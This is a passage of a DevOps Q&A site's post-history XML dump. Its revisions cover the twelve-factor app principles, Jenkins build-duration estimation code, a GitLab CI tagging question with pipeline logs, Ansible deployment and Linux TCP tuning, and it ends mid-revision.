  <row Id="11884" PostHistoryTypeId="5" PostId="3791" RevisionGUID="8d20f86d-063e-4da4-9cd4-c5f1a3acbe7c" CreationDate="2018-04-01T21:19:41.100" UserId="210" Comment="added 268 characters in body" Text="&gt; **I. Codebase**&#xD;&#xA;&gt; &#xD;&#xA;&gt; One codebase tracked in revision control, many deploys&#xD;&#xA;&#xD;&#xA;Version Control System (VCS)&#xD;&#xA;&#xD;&#xA;&gt; **II. Dependencies**&#xD;&#xA;&gt; &#xD;&#xA;&gt; Explicitly declare and isolate dependencies&#xD;&#xA;&#xD;&#xA;Use a package manager tool&#xD;&#xA;&#xD;&#xA;&gt; **III. Config**&#xD;&#xA;&gt; &#xD;&#xA;&gt; Store config in the environment&#xD;&#xA;&#xD;&#xA;Environment variables&#xD;&#xA;&#xD;&#xA;&gt; **IV. Backing services**&#xD;&#xA;&gt; &#xD;&#xA;&gt; Treat backing services as attached resources&#xD;&#xA;&#xD;&#xA;The code should not change if another service like a database changes.&#xD;&#xA;&#xD;&#xA;&gt; **V. Build, release, run**&#xD;&#xA;&gt; &#xD;&#xA;&gt; Strictly separate build and run stages&#xD;&#xA;&#xD;&#xA; - unique release id&#xD;&#xA; - a new release must be created for every change&#xD;&#xA;&#xD;&#xA;&gt; **VI. Processes**&#xD;&#xA;&gt; &#xD;&#xA;&gt; Execute the app as one or more stateless processes&#xD;&#xA;&#xD;&#xA;...&#xD;&#xA;&#xD;&#xA;&gt; **VII. Port binding**&#xD;&#xA;&gt; &#xD;&#xA;&gt; Export services via port binding&#xD;&#xA;&#xD;&#xA;...&#xD;&#xA;&#xD;&#xA;&gt; **VIII. Concurrency**&#xD;&#xA;&gt; &#xD;&#xA;&gt; Scale out via the process model&#xD;&#xA;&#xD;&#xA;...&#xD;&#xA;&#xD;&#xA;&gt; **IX. Disposability**&#xD;&#xA;&gt; &#xD;&#xA;&gt; Maximize robustness with fast startup and graceful shutdown&#xD;&#xA;&#xD;&#xA;Disposable. It does not matter whether services go down. The platform that consists of multiple services, is able to continue if services go down, e.g. data will not be lost. When the services are rebooted the platform can continue without data loss.&#xD;&#xA;&#xD;&#xA;&gt; **X. Dev/prod parity**&#xD;&#xA;&gt; &#xD;&#xA;&gt; Keep development, staging, and production as similar as possible&#xD;&#xA;&#xD;&#xA; - Safe time: one does not have to think, o where does the acceptance database reside or where does this app exist in the testing environment. If one applies the same structure for systems in dev, tst and acc then one does not have to think every time when such an environment is used and this will safe time&#xD;&#xA; - Decrease number of bugs: if a development environment is similar to production, the number of bugs will be decreased as there is a higher chance that the bugs will be solved in the dev phase proactively&#xD;&#xA;&#xD;&#xA;&gt; **XI. Logs**&#xD;&#xA;&gt; &#xD;&#xA;&gt; Treat logs as event streams&#xD;&#xA;&#xD;&#xA; - stdout&#xD;&#xA; - store all logs in a log manager like splunk&#xD;&#xA;&#xD;&#xA;&gt; **XII. Admin processes**&#xD;&#xA;&gt; &#xD;&#xA;&gt; Run admin/management tasks as one-off processes&#xD;&#xA;&#xD;&#xA;...&#xD;&#xA;&#xD;&#xA;---&#xD;&#xA;&#xD;&#xA;**Discussion**&#xD;&#xA;&#xD;&#xA;&gt; we are a startup of 6 devs our boss is a former sportsman&#xD;&#xA;&#xD;&#xA;...&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;&gt; **Who should read this document?**&#xD;&#xA;&gt; &#xD;&#xA;&gt; Any developer building applications which run as a service. Ops&#xD;&#xA;&gt; engineers who deploy or manage such applications.&#xD;&#xA;&#xD;&#xA;...&#xD;&#xA;&#xD;&#xA;&gt; slow deterioration of software over time that will eventually lead to&#xD;&#xA;&gt; it becoming faulty [or] unusable&quot; and, importantly, that &quot;the software&#xD;&#xA;&gt; does not actually decay, but rather suffers from a lack of being&#xD;&#xA;&gt; updated with respect to the changing environment in which it resides.&#xD;&#xA;&#xD;&#xA;...&#xD;&#xA;&#xD;&#xA;---&#xD;&#xA;&#xD;&#xA;**References**&#xD;&#xA;&#xD;&#xA; 1. http://www.clearlytech.com/2014/01/04/12-factor-apps-plain-english/&#xD;&#xA; 2. https://12factor.net/&#xD;&#xA; 3. https://thenewstack.io/12-factor-app-streamlines-application-development/" ContentLicense="CC BY-SA 3.0" />
  <row Id="11885" PostHistoryTypeId="5" PostId="3791" RevisionGUID="60a51516-1a9c-49ee-9c22-59b2f0555518" CreationDate="2018-04-01T21:29:55.683" UserId="210" Comment="added 260 characters in body" Text="&gt; **I. Codebase**&#xD;&#xA;&gt; &#xD;&#xA;&gt; One codebase tracked in revision control, many deploys&#xD;&#xA;&#xD;&#xA;Version Control System (VCS)&#xD;&#xA;&#xD;&#xA;&gt; **II. Dependencies**&#xD;&#xA;&gt; &#xD;&#xA;&gt; Explicitly declare and isolate dependencies&#xD;&#xA;&#xD;&#xA;Use a package manager tool&#xD;&#xA;&#xD;&#xA;&gt; **III. Config**&#xD;&#xA;&gt; &#xD;&#xA;&gt; Store config in the environment&#xD;&#xA;&#xD;&#xA;Environment variables&#xD;&#xA;&#xD;&#xA;&gt; **IV. Backing services**&#xD;&#xA;&gt; &#xD;&#xA;&gt; Treat backing services as attached resources&#xD;&#xA;&#xD;&#xA;The code should not change if another service like a database changes.&#xD;&#xA;&#xD;&#xA;&gt; **V. Build, release, run**&#xD;&#xA;&gt; &#xD;&#xA;&gt; Strictly separate build and run stages&#xD;&#xA;&#xD;&#xA; - unique release id&#xD;&#xA; - a new release must be created for every change&#xD;&#xA;&#xD;&#xA;&gt; **VI. Processes**&#xD;&#xA;&gt; &#xD;&#xA;&gt; Execute the app as one or more stateless processes&#xD;&#xA;&#xD;&#xA;...&#xD;&#xA;&#xD;&#xA;&gt; **VII. Port binding**&#xD;&#xA;&gt; &#xD;&#xA;&gt; Export services via port binding&#xD;&#xA;&#xD;&#xA;...&#xD;&#xA;&#xD;&#xA;&gt; **VIII. Concurrency**&#xD;&#xA;&gt; &#xD;&#xA;&gt; Scale out via the process model&#xD;&#xA;&#xD;&#xA;...&#xD;&#xA;&#xD;&#xA;&gt; **IX. Disposability**&#xD;&#xA;&gt; &#xD;&#xA;&gt; Maximize robustness with fast startup and graceful shutdown&#xD;&#xA;&#xD;&#xA;Disposable. It does not matter whether services go down. The platform that consists of multiple services, is able to continue if services go down, e.g. data will not be lost. When the services are rebooted the platform can continue without data loss.&#xD;&#xA;&#xD;&#xA;&gt; **X. Dev/prod parity**&#xD;&#xA;&gt; &#xD;&#xA;&gt; Keep development, staging, and production as similar as possible&#xD;&#xA;&#xD;&#xA; - Safe time: one does not have to think, o where does the acceptance database reside or where does this app exist in the testing environment. If one applies the same structure for systems in dev, tst and acc then one does not have to think every time when such an environment is used and this will safe time&#xD;&#xA; - Decrease number of bugs: if a development environment is similar to production, the number of bugs will be decreased as there is a higher chance that the bugs will be solved in the dev phase proactively&#xD;&#xA;&#xD;&#xA;&gt; **XI. Logs**&#xD;&#xA;&gt; &#xD;&#xA;&gt; Treat logs as event streams&#xD;&#xA;&#xD;&#xA; - stdout&#xD;&#xA; - store all logs in a log manager like splunk&#xD;&#xA;&#xD;&#xA;&gt; **XII. Admin processes**&#xD;&#xA;&gt; &#xD;&#xA;&gt; Run admin/management tasks as one-off processes&#xD;&#xA;&#xD;&#xA;...&#xD;&#xA;&#xD;&#xA;---&#xD;&#xA;&#xD;&#xA;**Discussion**&#xD;&#xA;&#xD;&#xA;&gt; we are a startup of 6 devs our boss is a former sportsman&#xD;&#xA;&#xD;&#xA;...&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;&gt; **Who should read this document?**&#xD;&#xA;&gt; &#xD;&#xA;&gt; Any developer building applications which run as a service. Ops&#xD;&#xA;&gt; engineers who deploy or manage such applications.&#xD;&#xA;&#xD;&#xA;...&#xD;&#xA;&#xD;&#xA;https://en.wikipedia.org/wiki/Software_rot&#xD;&#xA;&#xD;&#xA;&gt; slow deterioration of software over time that will eventually lead to&#xD;&#xA;&gt; it becoming faulty [or] unusable&quot; and, importantly, that &quot;the software&#xD;&#xA;&gt; does not actually decay, but rather suffers from a lack of being&#xD;&#xA;&gt; updated with respect to the changing environment in which it resides.&#xD;&#xA;&#xD;&#xA;...&#xD;&#xA;&#xD;&#xA;---&#xD;&#xA;&#xD;&#xA;**Conclusion**&#xD;&#xA;&#xD;&#xA;Instead of explaining the 12factor it is better to explain what will happen if the 12factor is not applied, i.e. software rot. The 12factor is for Devs and Ops people, not for managers.&#xD;&#xA;&#xD;&#xA;---&#xD;&#xA;&#xD;&#xA;**References**&#xD;&#xA;&#xD;&#xA; 1. http://www.clearlytech.com/2014/01/04/12-factor-apps-plain-english/&#xD;&#xA; 2. https://12factor.net/&#xD;&#xA; 3. https://thenewstack.io/12-factor-app-streamlines-application-development/" ContentLicense="CC BY-SA 3.0" />
  <row Id="11886" PostHistoryTypeId="5" PostId="3791" RevisionGUID="e79a03e7-2aae-4d05-ad9a-54ba14232296" CreationDate="2018-04-01T21:38:52.430" UserId="210" Comment="added 260 characters in body" Text="&gt; **I. Codebase**&#xD;&#xA;&gt; &#xD;&#xA;&gt; One codebase tracked in revision control, many deploys&#xD;&#xA;&#xD;&#xA;Version Control System (VCS)&#xD;&#xA;&#xD;&#xA;&gt; **II. Dependencies**&#xD;&#xA;&gt; &#xD;&#xA;&gt; Explicitly declare and isolate dependencies&#xD;&#xA;&#xD;&#xA;Use a package manager tool&#xD;&#xA;&#xD;&#xA;&gt; **III. Config**&#xD;&#xA;&gt; &#xD;&#xA;&gt; Store config in the environment&#xD;&#xA;&#xD;&#xA;Environment variables&#xD;&#xA;&#xD;&#xA;&gt; **IV. Backing services**&#xD;&#xA;&gt; &#xD;&#xA;&gt; Treat backing services as attached resources&#xD;&#xA;&#xD;&#xA;The code should not change if another service like a database changes.&#xD;&#xA;&#xD;&#xA;&gt; **V. Build, release, run**&#xD;&#xA;&gt; &#xD;&#xA;&gt; Strictly separate build and run stages&#xD;&#xA;&#xD;&#xA; - unique release id&#xD;&#xA; - a new release must be created for every change&#xD;&#xA;&#xD;&#xA;&gt; **VI. Processes**&#xD;&#xA;&gt; &#xD;&#xA;&gt; Execute the app as one or more stateless processes&#xD;&#xA;&#xD;&#xA;...&#xD;&#xA;&#xD;&#xA;&gt; **VII. Port binding**&#xD;&#xA;&gt; &#xD;&#xA;&gt; Export services via port binding&#xD;&#xA;&#xD;&#xA;...&#xD;&#xA;&#xD;&#xA;&gt; **VIII. Concurrency**&#xD;&#xA;&gt; &#xD;&#xA;&gt; Scale out via the process model&#xD;&#xA;&#xD;&#xA;...&#xD;&#xA;&#xD;&#xA;&gt; **IX. Disposability**&#xD;&#xA;&gt; &#xD;&#xA;&gt; Maximize robustness with fast startup and graceful shutdown&#xD;&#xA;&#xD;&#xA;Disposable. It does not matter whether services go down. The platform that consists of multiple services, is able to continue if services go down, e.g. data will not be lost. When the services are rebooted the platform can continue without data loss.&#xD;&#xA;&#xD;&#xA;&gt; **X. Dev/prod parity**&#xD;&#xA;&gt; &#xD;&#xA;&gt; Keep development, staging, and production as similar as possible&#xD;&#xA;&#xD;&#xA; - Safe time: one does not have to think, o where does the acceptance database reside or where does this app exist in the testing environment. If one applies the same structure for systems in dev, tst and acc then one does not have to think every time when such an environment is used and this will safe time&#xD;&#xA; - Decrease number of bugs: if a development environment is similar to production, the number of bugs will be decreased as there is a higher chance that the bugs will be solved in the dev phase proactively&#xD;&#xA;&#xD;&#xA;&gt; **XI. Logs**&#xD;&#xA;&gt; &#xD;&#xA;&gt; Treat logs as event streams&#xD;&#xA;&#xD;&#xA; - stdout&#xD;&#xA; - store all logs in a log manager like splunk&#xD;&#xA;&#xD;&#xA;&gt; **XII. Admin processes**&#xD;&#xA;&gt; &#xD;&#xA;&gt; Run admin/management tasks as one-off processes&#xD;&#xA;&#xD;&#xA;...&#xD;&#xA;&#xD;&#xA;---&#xD;&#xA;&#xD;&#xA;**Discussion**&#xD;&#xA;&#xD;&#xA;&gt; we are a startup of 6 devs our boss is a former sportsman&#xD;&#xA;&#xD;&#xA;...&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;&gt; **Who should read this document?**&#xD;&#xA;&gt; &#xD;&#xA;&gt; Any developer building applications which run as a service. Ops&#xD;&#xA;&gt; engineers who deploy or manage such applications.&#xD;&#xA;&#xD;&#xA;...&#xD;&#xA;&#xD;&#xA;https://en.wikipedia.org/wiki/Software_rot&#xD;&#xA;&#xD;&#xA;&gt; slow deterioration of software over time that will eventually lead to&#xD;&#xA;&gt; it becoming faulty [or] unusable&quot; and, importantly, that &quot;the software&#xD;&#xA;&gt; does not actually decay, but rather suffers from a lack of being&#xD;&#xA;&gt; updated with respect to the changing environment in which it resides.&#xD;&#xA;&#xD;&#xA;...&#xD;&#xA;&#xD;&#xA;**Manager:** Why do you want to apply 12factor?&#xD;&#xA;&#xD;&#xA;**Team:** The 12factor prevents software rot, i.e. more bugs, unstable software resulting in less customer satisfaction, less revenue.&#xD;&#xA;&#xD;&#xA;---&#xD;&#xA;&#xD;&#xA;**Conclusion**&#xD;&#xA;&#xD;&#xA;Instead of explaining the 12factor it is better to explain what will happen if the 12factor is not applied, i.e. software rot. The 12factor is for Devs and Ops people, not for managers.&#xD;&#xA;&#xD;&#xA;---&#xD;&#xA;&#xD;&#xA;**References**&#xD;&#xA;&#xD;&#xA; 1. http://www.clearlytech.com/2014/01/04/12-factor-apps-plain-english/&#xD;&#xA; 2. https://12factor.net/&#xD;&#xA; 3. https://thenewstack.io/12-factor-app-streamlines-application-development/" ContentLicense="CC BY-SA 3.0" />
  <row Id="11887" PostHistoryTypeId="2" PostId="3792" RevisionGUID="e6dadc6c-f626-4e76-a273-3aff52988065" CreationDate="2018-04-02T12:15:43.207" UserId="7207" Text="Yes, you are correct. Bamboo will spawn the build containers on the agent that the build is running on (either Local, Remote, or, Elastic - depending on your configuration).&#xD;&#xA;&#xD;&#xA;In order for this to work the agent will require Docker to be installed and the running." ContentLicense="CC BY-SA 3.0" />
  <row Id="11888" PostHistoryTypeId="5" PostId="3771" RevisionGUID="a302a23d-5fc8-474f-af50-887a6ac61428" CreationDate="2018-04-02T13:27:51.740" UserId="4328" Comment="deleted 1 character in body" Text="I checked out the Jenkins source code, and I believe Jenkins uses the last 3 *successful* or *unstable* builds for its estimation. If it out of the last 6 builds it can't find 3 *successful* or *unstable* builds, it uses 1 or more of the last *completed* (not aborted) builds. It then takes the total duration time of the &quot;candidates&quot; and simply divides it by the number of candidates (i.e. mean of the durations). Here is the code I based this off of that can be found in the Job.java file in the [Jenkins repo][1]:&#xD;&#xA;&#xD;&#xA;        /**&#xD;&#xA;         * Returns candidate build for calculating the estimated duration of the current run.&#xD;&#xA;         * &#xD;&#xA;         * Returns the 3 last successful (stable or unstable) builds, if there are any.&#xD;&#xA;         * Failing to find 3 of those, it will return up to 3 last unsuccessful builds.&#xD;&#xA;         * &#xD;&#xA;         * In any case it will not go more than 6 builds into the past to avoid costly build loading.&#xD;&#xA;         */&#xD;&#xA;        @SuppressWarnings(&quot;unchecked&quot;)&#xD;&#xA;        protected List&lt;RunT&gt; getEstimatedDurationCandidates() {&#xD;&#xA;            List&lt;RunT&gt; candidates = new ArrayList&lt;RunT&gt;(3);&#xD;&#xA;            RunT lastSuccessful = getLastSuccessfulBuild();&#xD;&#xA;            int lastSuccessfulNumber = -1;&#xD;&#xA;            if (lastSuccessful != null) {&#xD;&#xA;                candidates.add(lastSuccessful);&#xD;&#xA;                lastSuccessfulNumber = lastSuccessful.getNumber();&#xD;&#xA;            }&#xD;&#xA;    &#xD;&#xA;            int i = 0;&#xD;&#xA;            RunT r = getLastBuild();&#xD;&#xA;            List&lt;RunT&gt; fallbackCandidates = new ArrayList&lt;RunT&gt;(3);&#xD;&#xA;            while (r != null &amp;&amp; candidates.size() &lt; 3 &amp;&amp; i &lt; 6) {&#xD;&#xA;                if (!r.isBuilding() &amp;&amp; r.getResult() != null &amp;&amp; r.getNumber() != lastSuccessfulNumber) {&#xD;&#xA;                    Result result = r.getResult();&#xD;&#xA;                    if (result.isBetterOrEqualTo(Result.UNSTABLE)) {&#xD;&#xA;                        candidates.add(r);&#xD;&#xA;                    } else if (result.isCompleteBuild()) {&#xD;&#xA;                        fallbackCandidates.add(r);&#xD;&#xA;                    }&#xD;&#xA;                }&#xD;&#xA;                i++;&#xD;&#xA;                r = r.getPreviousBuild();&#xD;&#xA;            }&#xD;&#xA;            &#xD;&#xA;            while (candidates.size() &lt; 3) {&#xD;&#xA;                if (fallbackCandidates.isEmpty())&#xD;&#xA;                    break;&#xD;&#xA;                RunT run = fallbackCandidates.remove(0);&#xD;&#xA;                candidates.add(run);&#xD;&#xA;            }&#xD;&#xA;            &#xD;&#xA;            return candidates;&#xD;&#xA;        }&#xD;&#xA;        &#xD;&#xA;        public long getEstimatedDuration() {&#xD;&#xA;            List&lt;RunT&gt; builds = getEstimatedDurationCandidates();&#xD;&#xA;            &#xD;&#xA;            if(builds.isEmpty())     return -1;&#xD;&#xA;    &#xD;&#xA;            long totalDuration = 0;&#xD;&#xA;            for (RunT b : builds) {&#xD;&#xA;                totalDuration += b.getDuration();&#xD;&#xA;            }&#xD;&#xA;            if(totalDuration==0) return -1;&#xD;&#xA;    &#xD;&#xA;            return Math.round((double)totalDuration / builds.size());&#xD;&#xA;        }&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: https://github.com/jenkinsci/jenkins" ContentLicense="CC BY-SA 3.0" />
  <row Id="11889" PostHistoryTypeId="2" PostId="3793" RevisionGUID="e4a243c4-f09f-498c-8cd3-ea3f370a89b0" CreationDate="2018-04-02T13:52:42.863" UserId="3700" Text="It seems like the AutoScaling Group from AWS are not that synchronized with the Docker Swarm configuration and the default timeouts in the AutoScaling are not accepted in the Docker Swarm managers.&#xD;&#xA;&#xD;&#xA;Actually the Health Check is not configured good by default in the EE CloudFormation template, even if the managers are running and stable the Health Check fails and the AutoScalling Group tries to launch new managers. New launched managers are not able to become cluster participants, right after their running state." ContentLicense="CC BY-SA 3.0" />
  <row Id="11890" PostHistoryTypeId="2" PostId="3794" RevisionGUID="c8630ba4-34f2-43aa-8b18-d88e225ccdfb" CreationDate="2018-04-02T14:30:25.733" UserId="1208" Text="We got gitlab new to our environment and trying to create some CI CD pipelines using gitlab CI. I have got some better progress with running some maven goals, creating pipelines and archiving artifacts using my .gitlab-ci.yml as below. I tried to give give tags after script which doesnt work. Now, I am trying to figure out how can I automate git tags to my sourcecode. I would like to create tag for sourcecode after master branch got successful build. we are using Semantic versions to tag our source code. Finally, so whenever master got successful build I would like to create a tag to my master branch. Thanks for your help and support&#xD;&#xA;&#xD;&#xA;    image: maven:3.5-jdk-8-alpine&#xD;&#xA;&#xD;&#xA;    stages:&#xD;&#xA;     - build&#xD;&#xA;     - deploy&#xD;&#xA;     - tag&#xD;&#xA;&#xD;&#xA;    maven_build:&#xD;&#xA;      stage: build&#xD;&#xA;  &#xD;&#xA;      script:&#xD;&#xA;       - mvn clean package&#xD;&#xA;    artifacts:&#xD;&#xA;     paths:&#xD;&#xA;     - target/*.jar&#xD;&#xA;    &#xD;&#xA;    after_script:&#xD;&#xA;       - ls -a&#xD;&#xA;       - cd target &amp;&amp; ls -a&#xD;&#xA;       - git --version&#xD;&#xA;       - git tag -a 1.0.15 -m &quot;Version created by gitlab-ci Build&quot;&#xD;&#xA;       - git push origin 1.0.15&#xD;&#xA;    only:&#xD;&#xA;      - master&#xD;&#xA;   &#xD;&#xA;&#xD;&#xA;" ContentLicense="CC BY-SA 3.0" />
  <row Id="11891" PostHistoryTypeId="1" PostId="3794" RevisionGUID="c8630ba4-34f2-43aa-8b18-d88e225ccdfb" CreationDate="2018-04-02T14:30:25.733" UserId="1208" Text="How to tag source code using gitlabCI" ContentLicense="CC BY-SA 3.0" />
  <row Id="11892" PostHistoryTypeId="3" PostId="3794" RevisionGUID="c8630ba4-34f2-43aa-8b18-d88e225ccdfb" CreationDate="2018-04-02T14:30:25.733" UserId="1208" Text="&lt;continuous-integration&gt;&lt;gitlab&gt;&lt;gitlab-ci-runner&gt;" ContentLicense="CC BY-SA 3.0" />
  <row Id="11893" PostHistoryTypeId="2" PostId="3795" RevisionGUID="980a733a-05a3-44c4-bb53-d5581d9c65a4" CreationDate="2018-04-02T15:11:31.603" UserId="4288" Text="All this time after I think I am finally able to answer this question. The solution is [Ansible][1]. It's **agentless** and quite **light** python framework, that can be made to work through jump hosts and perform automated tasks through SSH.&#xD;&#xA;&#xD;&#xA;Without anything else it's a one-command deployment solution, which is almost as good as a fully automated one and it has the benefit of being readable and usable by people not familiar with code. &#xD;&#xA;&#xD;&#xA;Puppet offers similar functionality, but it has an agent which means if packaged with the application, it does require manual server setup from the customer. Also Puppet is ruby and I try to stay clear of that thing as much as possible. I've learned the hard way just how bad ruby is for anything other than prototyping.&#xD;&#xA;&#xD;&#xA;  [1]: https://www.ansible.com/" ContentLicense="CC BY-SA 3.0" />
  <row Id="11894" PostHistoryTypeId="5" PostId="3794" RevisionGUID="f6266351-e958-4fea-900a-46b808bca142" CreationDate="2018-04-02T15:13:48.820" UserId="1208" Comment="added 762 characters in body" Text="We got gitlab new to our environment and trying to create some CI CD pipelines using gitlab CI. I have got some better progress with running some maven goals, creating pipelines and archiving artifacts using my .gitlab-ci.yml as below. I tried to give give tags after script which doesnt work. Now, I am trying to figure out how can I automate git tags to my sourcecode. I would like to create tag for sourcecode after master branch got successful build. we are using Semantic versions to tag our source code. Finally, so whenever master got successful build I would like to create a tag to my master branch. Thanks for your help and support&#xD;&#xA;&#xD;&#xA;    image: maven:3.5-jdk-8-alpine&#xD;&#xA;&#xD;&#xA;    stages:&#xD;&#xA;     - build&#xD;&#xA;     - deploy&#xD;&#xA;     - tag&#xD;&#xA;&#xD;&#xA;    maven_build:&#xD;&#xA;      stage: build&#xD;&#xA;  &#xD;&#xA;      script:&#xD;&#xA;       - mvn clean package&#xD;&#xA;    artifacts:&#xD;&#xA;     paths:&#xD;&#xA;     - target/*.jar&#xD;&#xA;    &#xD;&#xA;    after_script:&#xD;&#xA;       - ls -a&#xD;&#xA;       - cd target &amp;&amp; ls -a&#xD;&#xA;       - git --version&#xD;&#xA;       - git tag -a 1.0.15 -m &quot;Version created by gitlab-ci Build&quot;&#xD;&#xA;       - git push origin 1.0.15&#xD;&#xA;    only:&#xD;&#xA;      - master&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;logs:&#xD;&#xA;&#xD;&#xA;    Running after script...&#xD;&#xA;    $ ls -a&#xD;&#xA;    .&#xD;&#xA;    ..&#xD;&#xA;    .git&#xD;&#xA;    .gitignore&#xD;&#xA;    .gitlab-ci.yml&#xD;&#xA;     LICENSE&#xD;&#xA;    README.md&#xD;&#xA;    pom.xml&#xD;&#xA;    src&#xD;&#xA;    target&#xD;&#xA;    $ cd target &amp;&amp; ls -a&#xD;&#xA;    .&#xD;&#xA;    ..&#xD;&#xA;    apidocs&#xD;&#xA;    classes&#xD;&#xA;    generated-sources&#xD;&#xA;    generated-test-sources&#xD;&#xA;    javadoc-bundle-options&#xD;&#xA;    maven-archiver&#xD;&#xA;    maven-simple-0.2-SNAPSHOT-javadoc.jar&#xD;&#xA;    maven-simple-0.2-SNAPSHOT-sources.jar&#xD;&#xA;    maven-simple-0.2-SNAPSHOT.jar&#xD;&#xA;    maven-status&#xD;&#xA;    surefire-reports&#xD;&#xA;    test-classes&#xD;&#xA;    Uploading artifacts...&#xD;&#xA;    target/maven-simple-0.2-SNAPSHOT-javadoc.jar: found 1 matching files &#xD;&#xA;    Uploading artifacts to coordinator... ok            id=60598296 &#xD;&#xA;    responseStatus=201 Created token=Gu-eH1es&#xD;&#xA;   Job succeeded&#xD;&#xA;   &#xD;&#xA;&#xD;&#xA;" ContentLicense="CC BY-SA 3.0" />
  <row Id="11895" PostHistoryTypeId="5" PostId="3795" RevisionGUID="0d820bea-9791-44bc-8e19-be073627d539" CreationDate="2018-04-02T15:16:32.673" UserId="4288" Comment="added 36 characters in body" Text="All this time after I think I am finally able to answer this question. The solution is [Ansible][1] - just like @James Shewey mentioned. It's **agentless** and quite **light** python framework, that can be made to work through jump hosts and perform automated tasks through SSH. This means it requires no server setup or manual operations of any kind from our customer to deploy the application.&#xD;&#xA;&#xD;&#xA;Without anything else it's a one-command deployment solution, which is almost as good as a fully automated one and it has the benefit of being readable and usable by people not familiar with code. &#xD;&#xA;&#xD;&#xA;Puppet offers similar functionality, but it has an agent which means if packaged with the application, it does require manual server setup from the customer. Also Puppet is ruby and I try to stay clear of that thing as much as possible. I've learned the hard way just how bad ruby is for anything other than prototyping.&#xD;&#xA;&#xD;&#xA;  [1]: https://www.ansible.com/" ContentLicense="CC BY-SA 3.0" />
  <row Id="11896" PostHistoryTypeId="5" PostId="3792" RevisionGUID="a4e8a872-f34d-4aa6-80b9-16b6273e5ca1" CreationDate="2018-04-02T16:02:40.760" UserId="47" Comment="improved readability" Text="Yes, you are correct. Bamboo will spawn the build containers on the agent that the build is running on (either Local, Remote, or, Elastic - depending on your configuration).&#xD;&#xA;&#xD;&#xA;In order for this to work the agent will require Docker to be installed and running." ContentLicense="CC BY-SA 3.0" />
  <row Id="11897" PostHistoryTypeId="2" PostId="3796" RevisionGUID="3ea45ca2-8f18-4495-a40f-37d6a2c681f2" CreationDate="2018-04-02T16:44:23.507" UserId="2845" Text="Tuning the parameters you have identified will certainly have an effect - to *degrade* performance. For example, net.ipv4.tcp_window_scaling is an [on or off option](https://access.redhat.com/sites/default/files/attachments/20150325_network_performance_tuning.pdf). Similarly, net.ipv4.tcp_sack is either on or off. Both default to a value of on on Linux and on all load balancers. Both of these were defined in RFC1323 which was published in order to give us the ability to achieve 10/100 Ethernet networks. Without this RFC, networks were limited to 10 Mbps a second, so disabling these will result in a huge, immediate and noticable performance hit.&#xD;&#xA;&#xD;&#xA;These performance benefits come because there is a huge difference between &quot;almost&quot; zero latency and zero latency. Using a sliding TCP window allows equipment to use Selective Acknowledgements (SACKs) to acknowledge the receipt of hundreds of packets simultaneously. So, if latency is 10ms on a network, without SACKs, every packet has to be acknowledged and that 10ms latency adds up very quickly - even at theoretical minimum latencies. This means that I send packet A, then have to wait for a response to packet A before sending packet B. But as it turns out I can send the rest of the alphabet and then some while waiting for the ACK to packet B. Enter SACKs - These allow the receiver to signal that it is has successfully received up to and including packet Z. Meanwhile, the sender is already sending packet AA-ZZ.&#xD;&#xA;&#xD;&#xA;This results in something known as a &quot;TCP Window Size&quot; which is the maximum amount of data the client can buffer/handle. Since memory can be a concern, if the recipient is only capable of storing and processing Packets A-F, if we send A-Z some amount of data is going to be lost. Therefore, it becomes necessary for the recipient to signal their ability to receive data - that is &quot;I can only buffer this many packets). This is really CPU dependent on how fast the recipient can empty their buffers and transmit the data up to layer 7. It is not uncommon to see TCP windows scale from empty to full (Max window size goes from 0 indicating the window is completely used to max indicating the window is completely available) and this is one way throughput bottlenecks can be identified on your network.&#xD;&#xA;&#xD;&#xA;TCP Window Scaling offers two primary benefits:&#xD;&#xA;&#xD;&#xA; 1. Less unused time on the wire - we aren't sitting around waiting for an ACK and we have successfully defeated the prop. delay (latency).&#xD;&#xA; 2. Less time devoted congestion control = more time for data. Congestion control messages can eat into your transmission time and bandwidth. Even with TCP Window Scaling, [Congestive Collapse](https://en.wikipedia.org/wiki/Network_congestion#Congestive_collapse) can still occur in which an entire TCP window may need to be retransmitted and congestion control may be required.&#xD;&#xA;&#xD;&#xA;Finally, the only real reason to update net.ipv4.tcp_timestamps is to provide additional security as it is otherwise based off of server uptime. Since you are proxying behind a load balancer anway, adjusting this setting is of little value unless you are using something like a [Performance Layer 4 profile](https://support.f5.com/csp/article/K01155812). I doubt adjusting this will make much difference, though again it is only likely to degrade, not improve performance.&#xD;&#xA;&#xD;&#xA;Far and away, what is more likely to help is adjusting your send and receive buffer sizes and using [Jumbo Frames.](https://en.wikipedia.org/wiki/Jumbo_frame) this will allow you to process more data with the same amount of overhead (a 75% reduction in processing over a standard MTU of 1500. These are the primary changes required to reach a 10 Gbps connection. Otherwise, just make sure you have enough CPU to ingest your data from the TCP stack and be aware of the pattern of your traff (eg, avoid things like the [C10K problem](https://en.wikipedia.org/wiki/C10k_problem))." ContentLicense="CC BY-SA 3.0" />
  <row Id="11898" PostHistoryTypeId="50" PostId="1917" RevisionGUID="7d0fb8a5-036b-4f7a-a8c8-c1685b7cb6e3" CreationDate="2018-04-02T18:14:29.160" UserId="-1" />
  <row Id="11899" PostHistoryTypeId="5" PostId="3794" RevisionGUID="0402cd6d-6647-43f9-8084-b1879ba9f369" CreationDate="2018-04-02T18:28:50.127" UserId="210" Comment="deleted 33 characters in body" Text="We got gitlab new to our environment and trying to create some CI CD pipelines using gitlab CI. I have got some better progress with running some maven goals, creating pipelines and archiving artifacts using my .gitlab-ci.yml as below. I tried to give give tags after script which doesnt work. Now, I am trying to figure out how can I automate git tags to my sourcecode. I would like to create tag for sourcecode after master branch got successful build. we are using Semantic versions to tag our source code. Finally, so whenever master got successful build I would like to create a tag to my master branch.&#xD;&#xA;&#xD;&#xA;    image: maven:3.5-jdk-8-alpine&#xD;&#xA;&#xD;&#xA;    stages:&#xD;&#xA;     - build&#xD;&#xA;     - deploy&#xD;&#xA;     - tag&#xD;&#xA;&#xD;&#xA;    maven_build:&#xD;&#xA;      stage: build&#xD;&#xA;  &#xD;&#xA;      script:&#xD;&#xA;       - mvn clean package&#xD;&#xA;    artifacts:&#xD;&#xA;     paths:&#xD;&#xA;     - target/*.jar&#xD;&#xA;    &#xD;&#xA;    after_script:&#xD;&#xA;       - ls -a&#xD;&#xA;       - cd target &amp;&amp; ls -a&#xD;&#xA;       - git --version&#xD;&#xA;       - git tag -a 1.0.15 -m &quot;Version created by gitlab-ci Build&quot;&#xD;&#xA;       - 